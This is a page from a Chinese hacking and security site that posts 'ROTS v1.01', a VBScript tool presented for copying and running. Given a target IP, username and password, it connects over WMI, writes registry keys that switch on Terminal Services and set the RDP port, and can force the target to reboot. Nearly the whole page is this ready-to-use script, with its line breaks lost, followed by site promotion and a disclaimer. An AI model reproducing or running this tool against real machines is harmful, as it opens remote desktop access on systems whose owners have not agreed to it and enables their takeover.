您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 电脑技术 查看内容

3389脚本开启代码(vbs版)

2009-10-20 09:09| 投稿: computer

摘要: 将以下代码复制到记事本里并保存为rots.vbson error resume nextset outstreem=wscript.stdoutset ...
将以下代码复制到记事本里并保存为rots.vbson error resume nextset outstreem=wscript.stdoutset instreem=wscript.stdinif (lcase(right(wscript.fullname,11))="wscript.exe") then   set objShell=wscript.createObject("wscript.shell")   objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))   wscript.quitend ifif wscript.arguments.count<3 then   usage()   wscript.echo "Not enough parameters."   wscript.quitend ifipaddress=wscript.arguments(0)username=wscript.arguments(1)password=wscript.arguments(2)if wscript.arguments.count>3 then   port=wscript.arguments(3)else   port=3389end ifif not isnumeric(port) or port<1 or port>65000 then   wscript.echo "The number of port is error."   wscript.quitend ifif wscript.arguments.count>4 then   reboot=wscript.arguments(4)else   reboot=""end ifusage()outstreem.write "Conneting "&ipaddress&" ...."set objlocator=createobject("wbemscripting.swbemlocator")set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)objswbemservices.security_.privileges.add 23,trueobjswbemservices.security_.privileges.add 18,trueshowerror(err.number)outstreem.write "Checking OS type...."set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")for each objinstoscaption in colinstoscaption   if instr(objinstoscaption.caption,"Server")>0 then      wscript.echo "OK!"   else      wscript.echo "OS type is "&objinstoscaption.caption      outstreem.write "Do you want to cancel setup?[y/n]"      strcancel=instreem.read      if lcase(strcancel)<>"n" then wscript.quit   end ifnextoutstreem.write "Writing into registry ...."set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")HKLM=&h80000002with objinstreg.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache".setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer".setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2.setstringvalue HKLM,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1".setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",portend withshowerror(err.number)rebt=lcase(reboot)if rebt="/r" or rebt="-r" or rebt="\r" then   outstreem.write "Now, reboot target...."   strwqlquery="select * from win32_operatingsystem where primary=''''true''''"   set colinstances=objswbemservices.execquery(strwqlquery)   for each objinstance in colinstances      objinstance.win32shutdown(6)   next   showerror(err.number)else   wscript.echo "You need to reboot target."&vbcrlf&"Then,"end ifwscript.echo "You can logon terminal services on "&port&" later. Good luck!"function showerror(errornumber)if errornumber Then   wscript.echo "Error 0x"&cstr(hex(err.number))&" ."   if err.description <> "" then      wscript.echo "Error description: "&err.description&"."   end if   wscript.quitelse   wscript.echo "OK!"end ifend functionfunction usage()wscript.echo string(79,"*")wscript.echo "ROTS v1.01"wscript.echo "Remote Open Terminal services Script, by zzzEVAzzz"wscript.echo "Welcome to visite www.isgrey.com"wscript.echo "Usage:"wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r]"wscript.echo "port: default number is 3389."wscript.echo "/r: auto reboot target."wscript.echo string(79,"*")&vbcrlfend function

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部